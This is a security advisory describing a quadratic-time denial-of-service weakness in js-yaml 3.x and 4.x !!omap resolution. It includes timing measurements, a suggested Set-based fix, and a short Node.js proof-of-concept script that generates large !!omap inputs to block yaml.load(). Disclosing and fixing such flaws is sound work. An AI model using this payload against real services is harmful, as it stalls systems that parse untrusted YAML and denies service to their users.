Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)

Summary

resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution O(n²) in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside yaml.load(), giving a denial of service against any consumer that parses untrusted YAML.

!!omap is registered in the default schema (lib/schema/default.js → require('../type/omap')), so a plain yaml.load(untrustedInput) with no options is affected — no custom schema or non-default configuration is required.

This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.

Affected versions

| Line | Latest tested | Status | |---|---|---| | 3.x | 3.15.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29 | | 4.x | 4.3.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30 | | 5.x | 5.2.2 | Not affected — fixed in 5.2.1 (uses a Set) |

Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.

Details

lib/type/omap.js (js-yaml 4.3.0):

if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false

objectKeys grows by one element per entry, and Array.prototype.indexOf is a linear scan, so resolving an n-entry !!omap performs roughly 1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously inside yaml.load(), blocking the event loop for its whole duration.

The 5.x line already solves exactly this by tracking seen keys in a Set (src/tag/sequence/omap.ts):

if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)

Proof of concept

// poc.js  —  node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) {
  const d = doc(n), t = Date.now();
  yaml.load(d);                      // default schema, no options
  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}

Measured (node v20.20.2, default heap, no flags)

js-yaml 4.3.0

n=10000  bytes=137787   load=54ms
n=20000  bytes=297787   load=169ms
n=40000  bytes=617787   load=646ms
n=80000  bytes=1257787  load=2607ms

js-yaml 3.15.0

n=10000  bytes=137787   load=53ms
n=20000  bytes=297787   load=166ms
n=40000  bytes=617787   load=641ms
n=80000  bytes=1257787  load=2567ms

Runtime grows by a factor of ~4 for each doubling of n, which is the signature of O(n²) (linear growth would be ~2×).

Scaling further: a 2.48 MB document with 150,000 entries blocked yaml.load() for 10.8 seconds.

Impact

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.

Suggested severity: consistent with CVE-2026-59870 (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.

Suggested fix

Mirror the 5.x fix — replace the linear scan with a Set:

// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)

This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A maxOmapLength-style cap would also work, but the Set matches what 5.x already ships and requires no new option.

References

• CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1
• lib/type/omap.js (3.x, 4.x) — the affected resolver
• lib/schema/default.js — registers !!omap in the default schema

Discovery

Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the current releases of each line, not on the version originally scanned.